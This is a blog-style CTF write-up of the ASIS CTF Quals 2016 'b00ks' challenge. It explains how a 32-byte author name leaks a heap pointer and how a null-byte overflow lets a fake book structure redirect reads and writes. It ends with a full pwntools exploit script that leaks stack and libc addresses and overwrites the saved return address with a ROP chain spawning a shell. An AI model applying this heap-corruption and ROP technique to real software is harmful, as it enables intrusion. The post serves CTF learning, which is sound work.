ASIS CTF Quals 2016 b00ks Writeup

Solved by 4rbit3r

I couldn’t solve this problem during the CTF. But really enjoyed it.

At first glance, I expected a 150 point pwnable from ASIS CTF to be quite easy, but I was wrong. The binary was 64 bit and had NX, PIE and Full RELRO. There was no canary, although in the end it didn’t actually matter.

Getting into the disassembly, the program maintains a list of around 20 books. Each book is a structure which has an ID, Name, Description and a size. Something like:
stuct book{
int id;
char *name;
char *description;
int size;
}

The name and description buffers are malloc’d areas. The name buffer is allocated on the heap first, followed by the description buffer. After this, the structure object is also placed on the heap. There is also a buffer in the .bss which stores the authors name. Right after this buffer is our table which contains pointers to the different structure objects on the heap.

The only vulnerability which I found, after going through the disassembly for a while, was a memory leak and a null byte overflow.

At the beginning of the program, it asks us to enter an author name. If we enter 32 bytes, the buffer becomes contiguous to the table. So while printing out the details of an object, the address of the object is leaked.

Now, if we use the edit author’s name functionality, we can overflow a null byte into the table. This might not seem like much, but well, it can land a shell eventually.

Using this null byte overflow, the first entry of the table gets changed. The address of the first object changes from 0xdeadbeef to 0xdeadbe00. This latter value can be somewhere in the description buffer of the same object.

So essentially, I can create a fake structure in the description buffer of the first object which the program will try to access while performing the edit or print functions.

My first idea was something like this:

  • Create fake object in description.
  • Name of fake object is a GOT address.
  • Description of fake object points to the second object on the heap, which can be computed from the first memory leak.
  • Overflow null byte. (This is where the object 1 changes to my fake object)
  • Leak some libc function’s address using the print functionality.
  • Edit description of object 1 (This edits the title and description pointers of object 2 to point to preferably the saved rip).
  • Edit description of object 2 (This where I can overwrite saved rip).
  • ROP.
  • Quit.

However, this idea couldn’t be implemented due to the fact that GOT was randomized with a different base than the heap. And also the GOT was read-only. So, new plan.

It was only after I got some help, that I learned something new.

If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment. So if I request a second book whose title and description are say 0x21000 bytes, they are allocated in the aforementioned area.

And with the help of GDB, I found a pointer to the stack lying in the libc’s bss. So all that was needed was to change the name or description pointers of the second object to the address where the stack pointer was and then print it out.

So the plan went like this:

  • Leak address of object 1 using the first memory leak.
  • Allocate a second object whose name and description buffers are 0x21000 bytes.
  • Create fake chunk in object 1’s description.
  • Fake chunk’s name and description pointers point to second object.
  • Overflow null byte.
  • Using print function, print the object 1’s name and description i.e the address of chunks located in the newly mmap’d areas.
  • Using edit function on object 1, edit the description of object 1 i.e change the name and description pointers of object 2 to address of stack pointer
  • Use print function to print object 2’s name and description i.e the stack pointer.
  • Use edit function on object 1 to change the name and description of object 2 to the saved rip.
  • Use edit function on object 2 and fill stack with ROP chain.
  • Quit.

And well that worked. Here’s the script.

from pwn import *
 def memleak1(p):
      p.sendline("4")
      log.info(p.recvuntil("Author:"))
      msg=p.recvline()
      log.info(p.recvuntil(">"))
      msg=msg.split("A"*32)[1].strip("\n")
      context.bits=len(msg)*8
      addr=unpack(msg)
      log.success("Leaked address of struct object : "+hex(addr))
      context.bits=64
      return addr
 def memleak2(p):
      p.sendline("4")
      log.info(p.recvuntil("Name: "))
      msg=p.recvline().strip("\n")
      context.bits=len(msg)*8
      log.info(p.recv(timeout=1))
      log.success("Leaked address of allocated area "+hex(unpack(msg)))
      return unpack(msg)
 def memleak3(p):
      p.sendline("4")
         log.info(p.recvuntil("2\n"))
      log.info(p.recvuntil("Name: "))
      msg=p.recvline().strip("\n")
      context.bits=len(msg)*8
      log.info(p.recv(timeout=1))
      log.success("Leaked stack pointer "+hex(unpack(msg)))
      return unpack(msg)
 def change_ptr(p):
      log.progress("Changing the struct pointer")
      p.sendline("5")
      log.info(p.recvuntil(":"))
      p.sendline("A"*32)
      log.info(p.recvuntil(">"))
      p.sendline("4")
 def fake_obj(p,payload,index):
      log.progress("Editing description")
      p.sendline("3")
      log.info(p.recvuntil(":"))
      p.sendline("1")
         log.info(p.recvuntil(":"))
         payload=fit({index:payload},length=index+32)
      p.sendline(payload)
 def create_book(p,size):
      p.sendline("1")
      log.info(p.recvuntil(":"))
      p.sendline(str(size))
      log.info(p.recvuntil(":"))
      p.sendline("asdf")
      log.info(p.recvuntil(":"))
      p.sendline(str(size))
      log.info(p.recvuntil(":"))
      p.sendline("asdf")
      log.info(p.recvuntil(">"))
 def final_edit(p,payload):
      p.sendline("3")
      log.info(p.recvuntil(":"))
      p.sendline("2")
      log.info(p.recvuntil(":"))
      p.sendline(payload)
      log.info(p.recvuntil(">"))
      p.sendline("6")
      p.interactive()
 
 p=process("b00ks")
 
 log.info(p.recvuntil(":"))
 p.sendline("A"*32)
 log.info(p.recvuntil(">"))
 
 create_book(p,140)
 
 addr=memleak1(p)+56                   #address of second object on heap
 
 create_book(p,135168)                 #allocate new area
 
 payload=pack(0x1)+pack(addr)*2+pack(0xffff) #fake obj
 fake_obj(p,payload,80)                
 
 change_ptr(p)                         #null overflow
 
 addr=memleak2(p)                 #address of stack pointer
 
 context.bits=64
 payload=pack(addr+141872)*2           #change desc and title of 2 to address of stack ptr.
 fake_obj(p,payload,0)                 
 
 addr1=memleak3(p)-40                  
 context.bits=64
 payload=pack(addr1)*2                 #change desc and title of 2 to saved rip
 fake_obj(p,payload,0)
 
 system=addr-5601744
 pop_rdi=addr-1932792
 pop_rsi=addr-5740555
 binsh=addr-4330293
 
 payload=pack(pop_rsi)+pack(0)+pack(pop_rdi)+pack(binsh)+pack(system)
 final_edit(p,payload)                 #ROP chain

 

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Create a free website or blog at WordPress.com.

Up ↑

%d bloggers like this: